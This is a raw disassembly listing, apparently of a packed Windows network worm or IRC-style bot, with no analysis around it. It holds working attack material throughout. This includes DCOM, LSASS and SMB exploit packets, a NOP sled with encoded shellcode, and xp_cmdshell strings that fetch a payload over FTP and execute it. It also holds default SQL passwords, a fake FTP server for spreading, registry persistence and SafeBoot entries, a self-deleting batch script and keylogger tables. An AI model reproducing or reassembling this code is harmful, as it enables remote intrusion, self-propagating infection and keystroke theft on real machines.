dword_402268 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4022B4 dd 3000005h, 10h, 5 dup(0)dword_4022D0 dd 10005h, 2 dup(0) dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0)
dd 90000h, 300h, 0
dd 300h, 5C005Ch, 0
dword_402318 dd 0 dd 2, 0
dd 1, 91C68h, 1, 2 dup(0)
dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------
loc_40234C: ; DATA XREF: sub_405DB7+44Co
mov eax, [esp-4]
add eax, 0FFFFFAE0h
jmp eax
; ---------------------------------------------------------------------------
align 4
loc_402358: ; DATA XREF: sub_405DB7+3F7o
mov eax, [ebp+30h]
add eax, 0FFFFFB24h
jmp eax
; ---------------------------------------------------------------------------
align 4
loc_402364: ; DATA XREF: sub_405DB7+49Bo
jmp short loc_402376
; ---------------------------------------------------------------------------
jmp short loc_402381
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_40236C: ; DATA XREF: sub_405DB7+4F6o
jmp short near ptr word_402372
; ---------------------------------------------------------------------------
dw 0FFFFh
db 2 dup(0FFh)
word_402372 dw 0 ; CODE XREF: MEW:loc_40236Cj
; ---------------------------------------------------------------------------
loc_402374: ; DATA XREF: sub_405DB7+517o
jmp short near ptr word_40237A
; ---------------------------------------------------------------------------
loc_402376: ; CODE XREF: MEW:loc_402364j
; MEW:00402394j
jmp short loc_40237C
; ---------------------------------------------------------------------------
db 2 dup(0)
word_40237A dw 0 ; CODE XREF: MEW:loc_402374j
; ---------------------------------------------------------------------------
loc_40237C: ; CODE XREF: MEW:loc_402376j
; DATA XREF: sub_405DB7+53Bo
jmp short near ptr loc_402381+1
; ---------------------------------------------------------------------------
dw 0FFFFh
db 0FFh
; ---------------------------------------------------------------------------
loc_402381: ; CODE XREF: MEW:00402366j
; MEW:loc_40237Cj
inc dword ptr [eax]
; ---------------------------------------------------------------------------
db 0
off_402384 dd offset dword_41005C ; DATA XREF: sub_405DB7+595o
align 10h
dword_402390 dd 77F33723h ; ---------------------------------------------------------------------------
jmp short loc_402376 ; DATA XREF: sub_405DB7+4D4o
; ---------------------------------------------------------------------------
dw 7FFDh
; ---------------------------------------------------------------------------
lahf ; DATA XREF: sub_405DB7+4ADo
jnz short loc_4023B3
add [ecx+1Ch], bl ; DATA XREF: sub_405DB7+43Co
loc_40239E: ; CODE XREF: MEW:loc_4023A8j
add [ecx], al
loc_4023A0: ; DATA XREF: sub_405DB7+41Eo
or ecx, [ebx]
sbb eax, [eax]
loc_4023A4: ; DATA XREF: sub_405DB7+42Do
; sub_40785E+25Do
jmp short near ptr dword_4023AC
; ---------------------------------------------------------------------------
align 4
loc_4023A8: ; DATA XREF: sub_405DB7+409o
jmp short loc_40239E
; ---------------------------------------------------------------------------
align 4
dword_4023AC dd 85000000h ; DATA XREF: MEW:00406891o
; ---------------------------------------------------------------------------
call dword ptr [ebx+4Dh]
loc_4023B3: ; CODE XREF: MEW:00402399j
inc edx
jb short $+2
; ---------------------------------------------------------------------------
dw 0
dd 0C8531800h, 3 dup(0)
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_402438 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: MEW:004068CDo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dd 0
dword_4024E4 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: MEW:00406909o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4025C4 dd 54000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4063DC+8Co
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_4063DC+BBo
unicode 0, <C$>,0
a????? db '?????',0
align 8
dword_402628 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4063DC+2ABo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_402694 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4063DC+2DDo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_402738 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4063DC+3D2o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4027B8 dd offset byte_401495 ; DATA XREF: sub_4063DC+400o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707A+2
dd 1, 0
dd 1, 0
dd offset loc_40707A+2
dd 1, 0
dd 1, 0
dd offset loc_40707A+2
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_40284C dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4063DC+31Ao
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4028B8 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4063DC+345o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40292C dd 0 dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 2 dup(0)
dword_4029B4 dd 1004600h dd 7515123Ch, 751C123Ch
; ---------------------------------------------------------------------------
jmp short loc_4029C8 ; DATA XREF: sub_4063DC+172o
; ---------------------------------------------------------------------------
jmp short loc_4029CA
; ---------------------------------------------------------------------------
align 8
loc_4029C8: ; CODE XREF: MEW:004029C0j
; DATA XREF: sub_4063DC+5Co
pop esp
pop esp
loc_4029CA: ; CODE XREF: MEW:004029C2j
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_4029D4 dd 1CEC8166h dword_4029D8 dd 0E4FF07h dword_4029DC dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
dd 10h, 0
; ---------------------------------------------------------------------------
loc_402A04: ; DATA XREF: MEW:00406B45o
; MEW:00406B53o
mov edx, 5042B68Ah
push ds
rol byte ptr [edx+74h], 1 ; DATA XREF: MEW:00406D1Co
xchg esi, [edx+eax*2+7FFDE0CCh] ; DATA XREF: MEW:00406D39o
loc_402A14: ; DATA XREF: MEW:00406E6Ao
add al, 90h
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
fmul st(1), st
mov al, 42h
nop
nop
nop
nop
nop
nop
jmp short near ptr byte_402A89
; ---------------------------------------------------------------------------
db 1, 70h, 0AEh
dd 0AE700142h
db 42h
byte_402A89 db 3 dup(0) ; CODE XREF: MEW:00402A7Fj
dword_402A8C dd 12400h, 0 a3333 db '3333',0 ; DATA XREF: MEW:00406B7Bo
align 4
aCccc db 'CCCC',0 ; DATA XREF: MEW:00406B33o
align 4
aEu4 db 1Bh,'4',0 ; DATA XREF: MEW:00406B21o
align 4
asc_402AAC: ; DATA XREF: MEW:00406A46o
dw 0Dh
unicode 0, <>,0
a512 db '512',0 ; DATA XREF: MEW:00406D65o
aIiii db 'ii',0 ; DATA XREF: MEW:00406D2Eo
align 4
aH888r db 'h:888',0 ; DATA XREF: MEW:00406D0Ao
align 4
aR_0 db '/\r',0Ah ; DATA XREF: MEW:00406C48o
; MEW:00406DD3o
db ':',0
align 4
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'del %s &%s &call %s',27h,0
; DATA XREF: MEW:00407074o
align 4
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'echo open %s %d >> %s &echo user %s '
; DATA XREF: MEW:0040702Eo
db '%s >> %s &echo get %s >> %s &echo quit >> %s &ftp -n -s:%s',0Dh,0Ah
db 27h,0
aS_txt db '%s.txt',0 ; DATA XREF: MEW:00406FCAo
align 10h
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s;UID=sa;PWD=%s;%s',0
; DATA XREF: MEW:00406F69o
align 10h
aAdmin db 'admin',0 ; DATA XREF: MEW:00406EE6o
align 4
aRoot db 'root',0 ; DATA XREF: MEW:00406EDFo
align 10h
aSa db 'sa',0 ; DATA XREF: MEW:00406ED4o
align 8
dword_402BC8 dd 6D6F6364h ; sub_404530+7F7r ...
dd 353331h, 3 dup(0)
off_402BDC dd offset dword_402E50 ; DATA XREF: sub_404530+80Fr
; sub_404530+8E5r ...
dword_402BE0 dd 87h ; sub_404530+60Fr ...
off_402BE4 dd offset sub_405DB7 ; DATA XREF: sub_407282+1B4r
; sub_407282+211r
dword_402BE8 dd 0 ; sub_404530+A9Er ...
dword_402BEC dd 1 ; sub_405DB7+30Dr ...
byte_402BF0 db 1 ; DATA XREF: sub_404530+809r
; sub_404530+833w ...
align 4
aDcom445 db 'dcom445',0
dd 3 dup(0)
dd offset dword_402E44
dd 1BDh, 405DB7h, 0
dd 2, 1, 31637072h, 3533h, 3 dup(0)
dd offset dword_402E38
dd 87h, 4060A4h, 0
dd 3, 1, 34637072h, 3534h, 3 dup(0)
dd offset dword_402E2C
dd 1BDh, 4060A4h, 0
dd 4, 1, 7361736Ch, 35343473h, 3 dup(0)
dd offset dword_402E20
dd 1BDh, 406828h, 0
dd 5, 1, 7361736Ch, 35333173h, 3 dup(0)
dd offset dword_402E14
dd 87h, 406828h, 0
dd 6, 1, 7173736Dh, 7361706Ch, 73h, 2 dup(0)
dd offset dword_402E04
dd 599h, 406EBAh, 0
dd 7, 1, 69726576h, 736174h, 3 dup(0)
dd offset dword_402DF8
dd 2710h, 407983h, 0
dd 9, 1, 7173736Dh, 6Ch, 3 dup(0)
dd offset dword_402DF0
dd 599h, 406A33h, 0
dd 0Ah, 1, 7173736Dh, 3030326Ch, 30h, 2 dup(0)
dd offset dword_402DE4
dd 599h, 406C37h, 0
dd 0Bh, 1, 7173736Dh, 7064756Ch, 3 dup(0)
dd offset dword_402DD8
dd 599h, 406DC2h, 0
dd 0Ch, 1, 0Bh dup(0)
dword_402DD8 dd 7173736Dh, 7064756Ch, 632Ehdword_402DE4 dd 7173736Dh, 3030326Ch, 632E30hdword_402DF0 dd 7173736Dh, 632E6Chdword_402DF8 dd 69726576h, 2E736174h, 63hdword_402E04 dd 7173736Dh, 7361706Ch, 74662E73h, 6470hdword_402E14 dd 7361736Ch, 35333173h, 632Ehdword_402E20 dd 7361736Ch, 35343473h, 632Ehdword_402E2C dd 34637072h, 632E3534h, 0dword_402E38 dd 31637072h, 632E3533h, 0dword_402E44 dd 6D6F6364h, 2E353434h, 63hdword_402E50 dd 6D6F6364h, 2E353331h, 63hdword_402E5C dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 61637302h
; DATA XREF: sub_407282+242o
dd 72656E6Eh, 202D0203h, 6E65706Fh, 726F7020h, 6F662074h
dd 3A646E75h, 30032D20h, 73250233h, 364253Ah, 28202D02h
dd 65726874h, 203A6461h, 0D296425h, 0Ah
dword_402EA8 dd 56495250h, 2047534Dh, 3A207325h, 6E616353h, 676E696Eh
; DATA XREF: sub_407282+5Fo
dd 32D203Ah, 25023330h, 64253A73h, 202D0203h, 72687428h
dd 73646165h, 3003203Ah, 64250233h, 2D290203h, 6C656428h
dd 203A7961h, 2333003h, 2036425h, 6D282D29h, 74756E69h
dd 203A7365h, 2333003h, 2036425h, 6C282D29h, 6369676Fh
dd 61637320h, 3203A6Eh, 25023330h, 29020373h, 0A0Dh
aDisabled db 'disabled',0 ; DATA XREF: sub_407282+34o
align 4
aEnabled db 'enabled',0 ; DATA XREF: sub_407282+2Do
byte_402F34 db 0A2h ; DATA XREF: sub_407617+A2r
; sub_407617+CEw
align 4
dword_402F38 dd 4113E68Bh ; sub_407617+8Fw
; ---------------------------------------------------------------------------
loc_402F3C: ; DATA XREF: sub_407617+1Ao
jmp short loc_402F53
; ---------------------------------------------------------------------------
loc_402F3E: ; CODE XREF: MEW:loc_402F53p
mov ecx, 0
xor ecx, 0
pop esi
loc_402F4A: ; CODE XREF: MEW:00402F4Fj
xor byte ptr [ecx+esi-1], 0
loop loc_402F4A
jmp short near ptr dword_402F58
; ---------------------------------------------------------------------------
loc_402F53: ; CODE XREF: MEW:loc_402F3Cj
call loc_402F3E
; ---------------------------------------------------------------------------
dword_402F58 dd 0 dword_402F5C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8408BADh, 33685353h
; DATA XREF: sub_40758E+23o
dd 68000032h, 5F327377h, 747268h, 736D6800h, 34E86376h
dd 1000000h, 35000000h, 74D60862h, 0C0942023h, 0B9CAC999h
dd 0B969155Ch, 0D740F640h, 850DB302h, 9CC44DF9h, 8318041Ah
dd 0C01AD301h, 80071302h, 0B4070334h, 5D28398Ah, 8B5B026Ah
dd 8B5353F8h, 548B3C57h, 0D703783Ah, 20528B52h, 0DB33D703h
dd 9A348B43h, 0C933F703h, 0C1C832ACh, 84AC05C1h, 8BF675C0h
dd 4C2B0075h, 0E47500B5h, 8B243487h, 0D7032456h, 5A0C8B66h
dd 31C568Bh, 8A048BD7h, 895EC703h, 0FF00B544h, 4B5B0045h
dd 835BB075h, 0FF5402C3h, 0C4830855h, 75C08508h, 2B02B49Eh
dd 54C48AE0h, 1C55FF50h, 685050h, 68000000h, 2, 6A50FC8Bh
dd 0FF026A01h, 0D88B2055h, 5357106Ah, 852455FFh, 0C75975C0h
dd 45h, 6A500000h, 0FF535504h, 0F48B2C55h, 770045C7h, 68000062h
dd 657865h, 68h, 55FC8B2Eh, 0C55FF57h, 6A004589h, 2006800h
dd 53560000h, 852855FFh, 781174C0h, 75FF1Bh, 56016A50h
dd 831055FFh, 0DFEB10C4h, 0FF0075FFh, 54501455h, 1855FF57h
dd 3055FF53h, 455FFh
dword_4030B0 dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 3732502h
; DATA XREF: sub_407708+131o
dd 25202D02h, 65202E64h, 6F6C7078h, 64657469h, 30032820h
dd 73250233h, 20290203h, 33300328h, 3732502h, 73202902h
dd 65636375h, 6C756673h, 0A0D796Ch, 0
dword_4030FC dd 6272h ; sub_407BC9:loc_407C1Co ...
aUnknown db 'unknown',0 ; DATA XREF: sub_407708+6Fo
aShellcodedaemo db 'ShellcodeDaemon',0 ; DATA XREF: sub_40785E+15o
; sub_40933F+167o
aA db '',0 ; DATA XREF: sub_40785E+2D7o
db '"(',0
db 2 dup(0), 1
dd 2 dup(0)
dd 1090000h, 2 dup(0)
dd 3000000h, 20000h, 0
dword_403140 dd 4000000h, 0 dword_403148 dd 200000h, 0 dword_403150 dd 0FFF817E9h, 0FFhdword_403158 dd 140F8D5h, 0 dword_403160 dd 0FFFBF3E9h, 0FFhdword_403168 dd 14261B0h, 0 dword_403170 dd 4000500h, 7868746Bh, 0dword_40317C dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 726F7702h
; DATA XREF: sub_407BC9+23Eo
dd 6469726Dh, 66742E65h, 2037074h, 7865202Dh, 696F6C70h
dd 20646574h, 2333003h, 2037325h, 30032820h, 73250233h
dd 20290203h, 63637573h, 75667365h, 0D796C6Ch, 0Ah
aTftpdhijack db 'TFTPDHijack',0 ; DATA XREF: sub_407BC9+19o
; sub_40933F+12Bo
a221Goodbye_ db '221 Goodbye.',0Ah,0 ; DATA XREF: sub_407F46+5A0o
align 4
aQuit db 'QUIT',0 ; DATA XREF: sub_407F46+58Co
align 10h
dword_4031F0 dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 70746602h
; DATA XREF: sub_407F46+561o
dd 2D020364h, 2E642520h, 6E657320h, 666F2064h, 20732520h
dd 63637573h, 20646565h, 28206F74h, 2333003h, 2037325h
dd 3282029h, 25023330h, 29020373h, 0A0Dh
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_407F46+51Do
; sub_407F46+57Fo
align 10h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_407F46+514o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_407F46+4EEo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_407F46+4D6o
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_407F46+4C6o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_407F46+4B5o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_407F46+482o
align 10h
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_407F46+43Bo
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_407F46+402o
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_407F46+3F2o
align 4
aList db 'LIST',0 ; DATA XREF: sub_407F46+3DEo
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_407F46+3CEo
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_407F46+3BAo
align 4
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_407F46+3AAo
aI: ; DATA XREF: sub_407F46+396o
unicode 0, <I>,0
aA_0: ; DATA XREF: sub_407F46+37Fo
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_407F46+368o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_407F46+358o
align 4
aPwd db 'PWD',0 ; DATA XREF: sub_407F46+344o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_407F46+334o
align 10h
aRest db 'REST',0 ; DATA XREF: sub_407F46+320o
align 4
a215UnixTypeL8 db '215 UNIX Type: L8',0Ah,0 ; DATA XREF: sub_407F46+310o
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_407F46+2FCo
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_407F46+2ECo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_407F46+2D8o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_407F46+2C8o
align 4
aUser db 'USER',0 ; DATA XREF: sub_407F46+2B3o
align 4
aSS db '%s %s',0 ; DATA XREF: sub_407F46+2A2o
; sub_40A8E0+45o
align 4
a220Proftpd1_D_ db '220 ProFTPD 1.%d.%d Server (ProFTPD Default Installation)',0Ah,0
; DATA XREF: sub_407F46+1F6o
align 4
aFtpd db 'Ftpd',0 ; DATA XREF: sub_407F46+25o
; sub_407F46+140o ...
align 10h
aHttp db 'http://',0 ; DATA XREF: sub_40862D+Bo
aHttp1_ db 'http/1.',0 ; DATA XREF: sub_4086A6+B3o
asc_403480 db 0Dh,0Ah ; DATA XREF: sub_4086A6+A0o
db 0Dh,0Ah,0
align 4
aWb db 'wb',0 ; DATA XREF: sub_4086A6+62o
align 4
aS_1 db '%s',0 ; DATA XREF: sub_4086A6+4Bo
; MEW:0040A1EAo
align 10h
aGetSHttp1_0 db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_408825+85o
db 0Dh,0Ah,0
align 8
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_408953+9o
; sub_40914C+166o
align 4
aImagepath db 'ImagePath',0 ; DATA XREF: sub_40899B+C3o
align 4
aStart db 'Start',0 ; DATA XREF: sub_40899B+84o
; sub_40914C+143o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_40899B+48o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_408A88+143o
aService db 'Service',0 ; DATA XREF: sub_408A88+FFo
aMinimal db 'Minimal',0 ; DATA XREF: sub_408A88+F3o
aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Control\SafeBoot\',0
; DATA XREF: sub_408A88+D9o
align 4
aSvchost_exe db 'svchost.exe',0 ; DATA XREF: sub_408E07+1Co
aComspecCSSS db '%%comspec%% /c %s %s %s',0 ; DATA XREF: sub_408EAB+12Ao
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_408EAB+9Bo
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db ':repeat2',0Dh,0Ah
db 'del "%%2"',0Dh,0Ah
db 'if exist "%%2" goto repeat2',0Dh,0Ah,0
align 4
aSerase_bat db '%serase.bat',0 ; DATA XREF: sub_408EAB+65o
aControlHandler db 'Control Handler',0 ; DATA XREF: sub_408EAB:loc_408ED4o
; sub_40933F+11Ao
asc_4035E8: ; DATA XREF: sub_409016+55o
unicode 0, <\>,0
aMaxclientreque db 'MaxClientRequestBuffer',0 ; DATA XREF: sub_40914C+1D0o
align 4
aSystemCurren_4 db 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters',0
; DATA XREF: sub_40914C+1BBo
align 4
aNetworkDde db 'Network DDE',0 ; DATA XREF: sub_40914C+17Eo
aSystemCurren_3 db 'SYSTEM\CurrentControlSet\Services\NetDDE',0 ; DATA XREF: sub_40914C+12Eo
align 10h
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_40914C+10Do
align 4
aN: ; DATA XREF: sub_40914C+105o
unicode 0, <N>,0
aSoftwareMicros db 'SOFTWARE\Microsoft\OLE',0 ; DATA XREF: sub_40914C+F7o
align 4
aNetbiosoptions db 'NetbiosOptions',0 ; DATA XREF: sub_40914C+A1o
align 4
aSystemCurren_2 db 'SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcp'
; DATA XREF: sub_40914C+72o
db 'ip_%s',0
align 10h
aSystemCurren_1 db 'SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\Adapters',0
; DATA XREF: sub_40914C+20o
dword_40372C dd 0FFFFFFFFh ; sub_404530+2A6r ...
off_403730 dd offset dword_403734 ; DATA XREF: sub_404530+66Cr
; sub_4055A6+6D9r ...
dword_403734 dd 2E373231h, 2E302E30h, 31haProtocolHandle db 'Protocol Handler',0 ; DATA XREF: sub_40933F:loc_409445o
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40933F+CFo
dword_403760 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4037AC dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_4037C8 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_4096C8+118o
dword_4037DC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4096C8+13Co
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40969D+Fo
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40969D+2o
align 8
dword_403818 dd 8 dword_40381C dd 62h db 3 dup(0)
dword_403823 dd 62h align 4
dd 0
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
